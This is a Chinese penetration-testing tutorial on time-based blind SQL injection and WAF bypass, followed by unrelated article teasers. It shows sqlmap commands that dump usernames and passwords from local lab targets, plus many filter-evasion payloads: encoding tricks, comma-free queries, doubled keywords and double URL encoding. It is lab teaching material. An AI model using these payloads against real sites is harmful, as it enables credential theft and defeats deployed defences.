渗透测试-百日筑基—SQL注入篇时间注入绕过HTTP数据编码绕过—下

day8-渗透测试sql注入篇&时间注入&绕过&HTTP数据编码绕过

一、时间注入

    SQL注入时间注入(也称为延时注入)是SQL注入攻击的一种特殊形式,它属于盲注(Blind SQL Injection)的一种。在盲注中,攻击者无法直接从应用程序的响应中获取SQL查询的结果,而是通过观察应用程序的响应时间来推断信息。时间注入正是利用了这一特性,通过使数据库执行延时函数(如MySQL中的sleep()函数)来检测SQL查询的执行情况,从而推断出数据库中的信息。

1、时间注入的工作原理

时间注入的工作原理大致如下:

  1. 构造延时查询:攻击者会在SQL查询中注入一个条件,该条件会触发数据库执行延时函数。例如,在MySQL中,可以使用IF(condition, sleep(time), 0)这样的语句,如果条件满足,则数据库会延时一段时间(如sleep(10)表示延时10秒)返回结果,否则立即返回。
  2. 观察响应时间:攻击者通过观察应用程序的响应时间来判断延时是否发生,从而推断出条件是否满足。如果应用程序的响应时间显著增加,那么可以认为条件满足,即攻击者可以通过这种方式逐步推断出数据库中的敏感信息。

2、时间注入的用途

时间注入主要用于以下场景:

  • 数据库信息探测:攻击者可以通过时间注入来探测数据库的类型、版本、表名、列名等信息。
  • 数据提取:在知道数据库结构的情况下,攻击者还可以利用时间注入来逐字符地提取数据库中的数据,如用户名、密码等敏感信息。

3、防御措施

为了防范时间注入攻击,可以采取以下措施:

  • 使用参数化查询:参数化查询是预防SQL注入的最有效手段之一。通过将SQL语句中的参数与数据值分开处理,确保数据值不会被解释为SQL代码的一部分,从而避免注入攻击。
  • 严格输入验证:对所有用户输入进行严格的验证和过滤,拒绝任何可疑或不合规的数据。
  • 设置响应时间上限:合理设置响应时间的上限,避免过长的响应时间给攻击者以机会。
  • 使用Web应用防火墙(WAF):WAF能够监控和过滤进出Web应用的网络流量,识别和阻止SQL注入等恶意攻击。

4、时间注入攻击方式

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。

在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。判断注入可以使用'and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒 根据这个原理来判断存在 SQL 时间注入。

mysql 延时注入用到的函数 sleep() 、if()、substring()

select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。

select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于 1 就会延时 5 秒

执行。

-1' or if(length(database())>1,sleep(5),0)--+ 可以看到网页是大于五秒返回。根据这

个原理 n>1 n 不延时就能确定当前数据库的长度了。

如果想要获取数据内容 可以用截取字符再再进行字符对比 如果相同就进行延时。这样就能获取字符接着再拼接就是当当前库的内容。

5、时间注入代码分析

在页面中分析源码 直接获取 name 带进数据库进行查询,但是是否存在记录页面返回都一样。

在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式。

6、采用时间注入

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T
​
-u 表示检测的 url

-p 指定的检测参数

-v 显示调试模式

--technique=T 检测方法为时间注入

7、sqlmap 检测为时间注入 接下来进行 通过这个注入获取数据库的名 用户权限、表、字段等敏感信息的获取。

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db --batch

--current-user 获取用户

--current-db 当前库

--batch 使用默认模式 自动 y
​

8、获取表 -D 指定数据库 --tables 获取表

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch
​

9、获取字段

在 sqlmap --columns 获取字典 -T 某个表

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.phpname=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --batch
​

10、sqlmap 查询账号和密码

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch

--dump 导出数据

-C 指定查询的字段
​

使用 sqlmap 很容易就能把时间注入的数据注入查询出来

二、SQL 注入绕过技术

    SQL 注入绕过技术 已经是一个老生常谈的内容了,防注入可以使用某些云 waf加速乐等安全产品,这些产品会自带 waf 属性拦截和抵御 SQL 注入,也有一些产品会在服务器里安装软件,例如 iis 安全狗、d 盾、还有就是在程序里对输入参数进行过滤和拦截 例如 360webscan 脚本等只要参数传入的时候就会进行检测,检测到有危害语句就会拦截。SQL 注入绕过的技术也有许多。但是在日渐成熟的 waf 产品面前,因为 waf 产品的规则越来越完善,所以防御就会越来越高,安全系统也跟着提高,对渗透测试而言,测试的难度就越来越高了。

以下是一些常见的SQL注入绕过方法:

  1. 空格过滤绕过
    • 使用注释符/**/、制表符(URL编码为%09)、换行符(URL编码为%0a)、括号、反引号等来代替空格。
  1. 内联注释绕过
    • 利用MySQL的特性,将仅在MySQL上执行的语句放在/*!...*/中。当MySQL数据库的实际版本号大于或等于内联注释中的版本号时,就会执行内联注释中的代码。
  1. 大小写绕过
    • 针对过滤规则只对小写或大写敏感的情况,通过大小写混写的方式来绕过关键字过滤。
  1. 双写关键字绕过
    • 在某些简单的WAF(Web应用防火墙)中,将关键字如select等只使用replace()函数置换为空,此时可以使用双写关键字(如seleselectct)绕过。
  1. 编码绕过
    • 对需要注入的语句进行编码,如URL编码、十六进制编码、Unicode编码、ASCII编码等。
  1. 等价函数字符替换绕过
    • 使用功能相同的函数或操作符进行替换,如使用likein代替=,使用greatestleaststrcmp等函数进行大小判断。
  1. 逻辑符号替换
    • 使用逻辑符号如&&代替and||代替or^|代替xor等。
  1. 特殊字符和引号绕过
    • 使用十六进制编码、宽字节编码等技术处理被过滤的引号等特殊字符。
  1. 对过滤函数的绕过
    • 针对特定的过滤函数,如replace()addslashes()等,构造特定的payload来绕过其过滤规则。

    需要注意的是,SQL注入是一种严重的安全漏洞,攻击者可以利用它来获取数据库的敏感信息,甚至对数据库进行破坏。因此,开发人员应该采取严格的安全措施来防止SQL注入攻击,如使用参数化查询、ORM框架、预编译语句等。同时,定期对代码进行安全审计和漏洞扫描也是非常重要的。

1、空格字符绕过

两个空格代替一个空格,用 Tab 代替空格,%a0=空格

%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/

select * from users where id=1 /*!union*//*!select*/1,2,3,4;

%09 TAB 键(水平)

%0a 新建一行

%0c 新的一页

%0d return 功能

%0b TAB 键(垂直)

%a0 空格

可以将空格字符替换成注释 /**/ 还可以使用 /*!这里的根据 mysql 版本的内容

不注释*/

2、大小写绕过

将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1

select * from users where id=1 UNION SELECT 1,2,3,4;

select * from users where id=1 UniON SelECT 1,2,3,4;

将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1

select * from users where id=1 UNION SELECT 1,2,3,4;

select * from users where id=1 UniON SelECT 1,2,3,4;

http://192.168.0.101:7766/Less-27/?id=999999%27%0AuNIon%0ASeLecT%0A1,us

er(),3%0Aand%0A%271

http://192.168.0.145:7766/Less-27/?id=9999999%27%09UniOn%09SeLeCt%091,(Se

lEct%09group_concat(username,password)from%09users),3%09and%20%271

过滤空格可以用%0 代替 也过滤# -- 注释 用字符串匹配
​

3、浮点数绕过注入

select * from users where id=8E0union select 1,2,3,4;

select * from users where id=8.0union select 1,2,3,4;

4、NULL 值绕过

select \N; 代表 null

select * from users where id=\Nunion select 1,2,3,\N;

select * from users where id=\Nunion select 1,2,3,\Nfrom users;

5、引号绕过

如果 waf 拦截过滤单引号的时候,可以使用双引号 在 mysql 里也可以用双引号作为字符串

select * from users where id='1';

select * from users where id="1";

也可以将字符串转换成 16 进制 再进行查询。

select hex('admin');

select * from users where username='admin';

select * from users where username=0x61646D696E;

如果 gpc 开启了,但是注入点是整形 也可以用 hex 十六进制进行绕过

select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME='users' limit 1),4;

select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME=0x7573657273 limit 1),4;

可以看到存在整型注入的时候 没有用到单引号 所以可以注入。

6、添加库名绕过

以下两条查询语句,执行的结果是一致的,但是有些 waf 的拦截规则 并不会拦截[库名].[表名]这种模式。

select * from users where id=-1 union select 1,2,3,4 from users;

select * from users where id=-1 union select 1,2,3,4 from moonsec.users;

mysql 中也可以添加库名查询表。例如跨库查询 mysql 库里的 usrs 表的内容。

select * from users where id=-1 union select 1,2,3,concat(user,authentication_string)

from mysql.user;

7、去重复绕过

在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截

select * from users where id=-1 union distinct select 1,2,3,4 from users;

select * from users where id=-1 union distinct select 1,2,3,version() from users;

8、反引号绕过

在 mysql 可以使用 `这里是反引号` 绕过一些 waf 拦截。字段可以加反引号或者不加,意义相同。

insert into users(username,password,email)values('moonsec','123456','admin@moonsec.com');

insert into users(`username`,`password`,`email`)values('moonsec','123456','admin@moonsec.com');

9、逗号绕过

目前有些防注入脚本都会逗号进行拦截,例如常规注入中必须包含逗号

select * from users where id=1 union select 1,2,3,4;

一般会对逗号过滤成空 select * from users where id=1 union select 1 2 3 4;这样SQL 语句就会出错。所以 可以不使用逗号进行 SQL 注入。绕过方法如下

ubstr 截取字符串
select(substr(database() from 1 for 1)); 查询当前库第一个字符

查询 m 等于 select(substr(database() from 1 for 1))页面返回正常

select * from users where id=1 and 'm'=(select(substr(database() from 1 for 1)));

可以进一步优化 m 换成 hex 0x6D 这样就避免了单引号

select * from users where id=1 and 0x6D=(select(substr(database() from 1 for 1)));

min 截取字符串 
这个 min 函数跟 substr 函数功能相同 如果 substr 函数被拦截或者过滤可以使用

这个函数代替。

select mid(database() from 1 for 1); 这个方法如上。

select * from users where id=1 and 'm'=(select(mid(database() from 1 for 1)));

select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));

10、使用 join 绕过

使用 join 自连接两个表

union select 1,2 #等价于 union select * from (select 1)a join (select 2)b

a 和 b 分别是表的别名

select * from users where id=-1 union select 1,2,3,4;

select * from users where id=-1 union select * from (select 1)a join (select 2)b

join(select 3)c join(select 4)d;

select * from users where id=-1 union select * from (select 1)a join (select 2)b

join(select user())c join(select 4)d;

可以看到这里也没有使用逗号,从而绕过 waf 对逗号的拦截

11、like 绕过

使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1 否则返回 0

找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串 最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。

12、limit offset 绕过

    SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目 limit 0,1返回条一条记录 如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截了。

13、or and xor not 绕过

目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2

id=0 xor 1=1 limit 1 、id=1 xor 1=2

对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替

字符如下

and 等于&&

or 等于 ||

not 等于 !

xor 等于|

所以可以转换成这样

id=1 and 1=1 等于 id=1 && 1=1

id=1 and 1=2 等于 id=1 && 1=2

id=1 or 1=1 等于 id=1 || 1=1

id=0 or 1=0 等于 id=0 || 1=0

可以绕过一些 waf 拦截继续对注入点进行安全检测,也可以使用运算符号

id=1 && 2=1+1

id=1 && 2=1-1

14、ascii 字符对比绕过

许多 waf 会对 union select 进行拦截 而且通常比较变态,那么可以不使用联合查询注入,可以使用字符截取对比法,进行突破。

select substring(user(),1,1);

select * from users where id=1 and substring(user(),1,1)='r';

select * from users where id=1 and ascii(substring(user(),1,1))=114;

最好把'r'换成成 ascii 码 如果开启 gpc int 注入就不能用了。

可以看到构造得 SQL 攻击语句没有使用联合查询(union select)也可以把数据查询出来。

15、等号绕过

如果程序会对=进行拦截 可以使用 like rlike regexp 或者使用<或者>

select * from users where id=1 and ascii(substring(user(),1,1))<115;

select * from users where id=1 and ascii(substring(user(),1,1))>115;

select * from users where id=1 and (select substring(user(),1,1)like 'r%');

select * from users where id=1 and (select substring(user(),1,1)rlike 'r');

select * from users where id=1 and 1=(select user() regexp '^r');

select * from users where id=1 and 1=(select user() regexp '^a');

regexp 后面是正则

16、双关键词绕过

有些程序会对单词 union、 select 进行转空 但是只会转一次这样会留下安全隐患。

双关键字绕过(若删除掉第一个匹配的 union 就能绕过)

id=-1'UNIunionONSeLselectECT1,2,3--+

到数据库里执行会变成 id=-1'UNION SeLECT1,2,3--+ 从而绕过注入拦截。

17、二次编码绕过

有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,waf 是不会拦截的。

-1 union select 1,2,3,4#

第一次转码

%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32

%2c%33%2c%34%23

第二次转码

%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%2

5%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%

36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33

%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33

二次编码注入漏洞分析 在源代码中已经开启了 gpc 对特殊字符进行转义

代码里有 urldecode 这个函数是对字符 url 解码,因为两次编码 GPC 是不会过滤的,所以可以绕过 gpc 字符转义,这样也就绕过了 waf 的拦截。

免责声明:

以上内容仅供参考,不构成任何安全建议或指导。对于具体的安全问题,请咨询专业的安全专家或机构。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/902213.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

模型评估:Accuracy、Precision、Recall、F1、ROC曲线、AUC、PR曲线

Accuracy & Precision & Recall & F1 准确率 Accuracy A c c u r a c y T T T F A L L Accuracy \frac{TT TF}{ALL} AccuracyALLTTTF​ 1.分类器到底分对了多少&#xff1f; 精确率 Precision 2.返回的图片中正确的有多少&#xff1f; 召回率 / 查全率 …

了解光耦合器输入输出关系---腾恩科技

光耦合器&#xff0c;也称为光隔离器&#xff0c;是电子电路中必不可少的元件&#xff0c;主要用于在隔离部分之间传输信号&#xff0c;同时防止电噪声或高压影响敏感元件。其独特的设计使它们能够在没有直接电接触的情况下&#xff0c;弥合不同电压域之间的差距。在本文中&…

解决docker拉取readeck镜像报Error response from daemon: toomanyrequests问题

readeck 是一个内容中心&#xff0c;目前已支持中文翻译 这是本地化部署后的效果&#xff1a; 原命令为&#xff1a; docker run --rm -ti -p 8000:8000 -v readeck-data:/readeck codeberg.org/readeck/readeck:latest Unable to find image codeberg.org/readeck/readeck:la…

LeetCode 热题 100之普通数组

1.最大子数组和 思路分析&#xff1a;这个问题可以通过动态规划来解决&#xff0c;我们可以使用Kadane’s Algorithm&#xff08;卡登算法&#xff09;来找到具有最大和的连续子数组。 Kadane’s Algorithm 的核心思想是利用一个变量存储当前的累加和 currentSum&#xff0c;并…

【高中生讲机器学习】22. 信息论基础:信息熵、交叉熵、相对熵

创建时间&#xff1a;2024-10-16 首发时间&#xff1a;2024-10-24 最后编辑时间&#xff1a;2024-10-24 作者&#xff1a;Geeker_LStar FIRST OF ALL!!! 2024.10.24&#xff01;&#xff01; 1024 快乐&#xff01;&#xff01;&#xff01; 你好呀~这里是 Geeker_LStar 的人工…

IDEA初探:深入理解 Structure 功能

一、Structure - 类视图 Structure 是 IDEA 中的一个视图工具&#xff0c;它提供了对当前文件中结构元素的快速访问。通过 Structure&#xff0c;我们可以方便地查看和导航到代码中的各个部分&#xff0c;从而提高代码编辑和浏览的效率。 1.1 基本概念 Structure 视图以树形结…

Spring Boot:植物健康监测的智能先锋

摘要 随着信息技术在管理上越来越深入而广泛的应用&#xff0c;管理信息系统的实施在技术上已逐步成熟。本文介绍了植物健康系统的开发全过程。通过分析植物健康系统管理的不足&#xff0c;创建了一个计算机管理植物健康系统的方案。文章介绍了植物健康系统的系统分析部分&…

一文带你搞懂RabbitMQ 如何保证消息不丢失

RabbitMQ使用场景&#xff1a; 异步发送&#xff08;验证码、短信、邮件&#xff09;MySQL和Redis&#xff0c;ES之间的数据同步分布式事务削峰填谷 什么情况下消息容易丢失&#xff1a; 消息未到达交换机消息未到达队列队列中消息丢失消费者未接收到消息 解决消息丢失的方法…

python查询并安装项目所依赖的所有包

引言 如果需要进行代码的移植&#xff0c;肯定少不了在另一台pc或者服务器上进行环境的搭建&#xff0c;那么首先是要知道在已有的工程的代码中用到了哪些包&#xff0c;此时&#xff0c;如果是用人工去一个一个的代码文件中去查看调用了哪些包&#xff0c;这个工作甚是繁琐。…

js面试问题笔记(一)

一.热门js面试 1.简述同步和异步的区别? 同步: 浏览器访问服务器请求,用户看到页面刷新 ,重新发请求,等请求完,页面刷新,新内容出现,用户看到新内容,进行下一步操作 异步: 浏览器访问服务器请求,用户正常操作,浏览器后端进行请求,等请求完,页面不刷新,新内容也会出现,用户看到…

【HarmonyOS Next】原生沉浸式界面

背景 在实际项目中&#xff0c;为了软件使用整体色调看起来统一&#xff0c;一般顶部和底部的颜色需要铺满整个手机屏幕。因此&#xff0c;这篇帖子是介绍设置的方法&#xff0c;也是应用沉浸式效果。如下图&#xff1a;底部的绿色延伸到上面的状态栏和下面的导航栏 UI 在鸿蒙…

Grid View 网格视图

GoTo DevExpress Data Grid 数据网格 Grid View 网格视图 GridView 是默认的数据网格视图&#xff0c;它以传统的表格格式显示数据。View 将数据源记录呈现为行&#xff0c;将数据源字段呈现为列。数据值显示在各个单元格中。 以下文档包含有关此表格布局的主要元素的深入信…

多线程——线程安全的集合类

目录 前言 一、多线程环境使用 ArrayList 1.进行加锁 2.使用 SynchronizedList 类 3.使用 CopyOnWriteArrayList 类 二、多线程环境使用队列 1.进行加锁 2.使用阻塞队列 三、多线程环境使用哈希表 1.Hashtable 2.ConcurrentHashMap &#xff08;1&#xff09;缩小锁…

vue文件转AST,并恢复成vue文件(适用于antdv版本升级)

vue文件转AST&#xff0c;并恢复成vue文件---antdvV3升级V4 vue文件转AST&#xff0c;重新转回原文件过程如何获取项目路径读取项目文件&#xff0c;判断文件类型分别获取vue文件 template js&#xff08;vue2和vue3&#xff09;处理vue 文件template部分处理vue script部分uti…

【线下+线上会议|国内外双会场】2024年第四届数字化社会与智能系统国际学术会议(DSInS 2024)-悉尼/郑州双会场

2024年第四届数字化社会与智能系统国际学术会议&#xff08;DSInS 2024&#xff09;-悉尼/郑州双会场 2024 4th International Conference on Digital Society and Intelligent Systems 会议官网&#xff1a;www.dsins.org 2024 4th International Conference on Digital Soc…

龙迅#LT89101 适用于 MIPI DSI/CSI摄像头和 LVDS 中继信号延长功能,分辨率可支持 1080P@60HZ!

1. 描述 Lontium LT89101 是一款高性能 MIPI DSI/CSI-2 和 LVDS 中继器&#xff0c;用于汽车系统应用的移动显示或摄像头信号整形。 LT89101采用先进的 CMOS 工艺制造&#xff0c;并采用小外形 7.5mm x 7.5mm QFN64 封装。该封装符合 RoHS 标准&#xff0c;额定工作温度范围为 …

MySQL8.0.40编译安装

近期MySQL发布了8.0.40版本&#xff0c;与之前的版本相比&#xff0c;部分依赖包发生了变化&#xff0c;因此重新编译一版&#xff0c;也便于大家参考。 1. 下载源码 选择对应的版本、选择源码、操作系统 如果没有登录或者没有MySQL官网账号&#xff0c;可以选择只下载 2. 进…

element 按钮变形 el-button样式异常

什么都没动&#xff0c;element UI的按钮变形了&#xff0c;莫名其妙&#xff0c;连官网的也变形了&#xff0c;换了其它浏览器又正常&#xff0c; 难道这是element UI的问题&#xff1f;NO&#xff0c;是浏览器的插件影响到了&#xff01;去扩展插件里面一个个关闭扩展&#x…

MySql中的锁的分类

锁的分类 MySQL锁可以按模式分类为&#xff1a;乐观锁与悲观锁。按粒度分可以分为全局锁、表级锁、页级锁、行级锁。按属性可以分为&#xff1a;共享锁、排它锁。按状态分为&#xff1a;意向共享锁、意向排它锁。按算法分为&#xff1a;间隙锁、临键锁、记录锁。 二、全局锁、表…

ClickHouse与各种组件的关系

ClickHouse和其他组件关系如下&#xff1a; Flink支持ClickHouse Sink支持Hive/SparkSQL数据批量导入ClickHouseHetuEngine支持ClickHouse数据源常用第三方工具如DBeaver支持ClickHouse对接ClickHouse依赖ZooKeeper实现了分布式DDL执行以及ReplicatedMergeTree表主备节点之间的…